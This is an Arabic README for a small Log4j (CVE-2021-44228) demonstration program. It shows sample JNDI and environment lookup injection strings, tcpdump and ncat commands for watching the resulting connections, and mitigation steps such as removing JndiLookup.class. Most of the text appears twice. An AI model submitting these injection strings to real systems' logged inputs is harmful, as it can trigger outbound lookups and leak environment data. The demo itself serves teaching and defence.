Log4j_Vulnerability_Demo

برنامج بسيط لتوضيح كيفية استغلال ثغرة Log4j ( CVE-2021-44228 )

تشغيل العرض التوضيحي:

لتشغيل البرنامج، ما عليك سوى تشغيل start.sh (على أنظمة UNIX) أو start.bat على نظام Windows.

سيتم قراءة إدخال المستخدم وتسجيله في وحدة التحكم باستخدام إطار عمل Log4j.

بشكل افتراضي، لا توفر رسائل التسجيل التي ينشئها مكتبة Log4j أي أخطاء مثل "الخادم غير قابل للوصول" أو "المضيف غير موجود" لاستبدالات JNDI. (وأعتقد أن هذا أيضًا سبب رئيسي يجعل هذه الثغرة قابلة للاستغلال بشكل خفي)

جرّب أيضًا استخدام نطاقات فرعية، مثل ${jndi:ldap://test29.google.com/blah} ، ففي بعض الأحيان سينتظر استدعاء JNDI استجابة من الخادم البعيد، ولهذا يبدو البرنامج وكأنه عالق بينما قام فعليًا بمحاولة اتصال في الخلفية. إذا استخدمت نطاقات فرعية غير موجودة، فسينتهي استدعاء JNDI بسرعة بعد محاولة الاتصال وسيستمر البرنامج.

أنصحك بتشغيل البرنامج في نافذة طرفية واحدة، وتشغيل الأمر " tcpdump -i any | grep google " في نافذة أخرى بالتوازي، ثم تقديم مدخلات للبرنامج لمعرفة ما إذا كان البرنامج قد قام بمحاولة اتصال.

Log4j_Vulnerability_Demo

الأكثر شعبية

بعض المدخلات النموذجية:

أمثلة يمكن أن تكون أكثر من مجرد رسالة تسجيل:

${env:USER} ( UNIX )

${env:USERNAME} ( Windows )

${jndi:ldap://test.java.net}

${jndi:ldap://localhost:12000}

المراقبة:

tcpdump -i any | grep -i "java.net"

ncat -k -vv -c "echo hi" -l 12000

إزالة فئة JndiLookup للتخفيف من الثغرة:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

سيؤدي هذا إلى حذف JndiLookup.class من ملف Log4j core Jar.

شغّل نفس البرنامج بعد الخطوة أعلاه، ولن يقوم البرنامج بأي محاولات اتصال / استبدالات JNDI.

طريقة أخرى لتعطيل عمليات بحث JNDI

export LOG4J_FORMAT_MSG_NO_LOOKUPS=true

سيؤدي متغير البيئة هذا إلى تعطيل عمليات بحث JNDI للجلسة الحالية.

Log4j_Vulnerability_Demo

الأكثر شعبية

Log4j_Vulnerability_Demo

تشغيل العرض التوضيحي:

استبدالات Log4j أثناء العمل:

محاولة الاتصالات عن بُعد:

بعض المدخلات النموذجية:

أمثلة يمكن أن تكون أكثر من مجرد رسالة تسجيل:

${env:USER} ( UNIX )

${env:USERNAME} ( Windows )

${jndi:ldap://test.java.net}

${jndi:ldap://localhost:12000}

المراقبة:

tcpdump -i any | grep -i "java.net"

ncat -k -vv -c "echo hi" -l 12000

إزالة فئة JndiLookup للتخفيف من الثغرة:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

سيؤدي هذا إلى حذف JndiLookup.class من ملف Log4j core Jar.

شغّل نفس البرنامج بعد الخطوة أعلاه، ولن يقوم البرنامج بأي محاولات اتصال / استبدالات JNDI.

طريقة أخرى لتعطيل عمليات بحث JNDI

export LOG4J_FORMAT_MSG_NO_LOOKUPS=true

سيؤدي متغير البيئة هذا إلى تعطيل عمليات بحث JNDI للجلسة الحالية.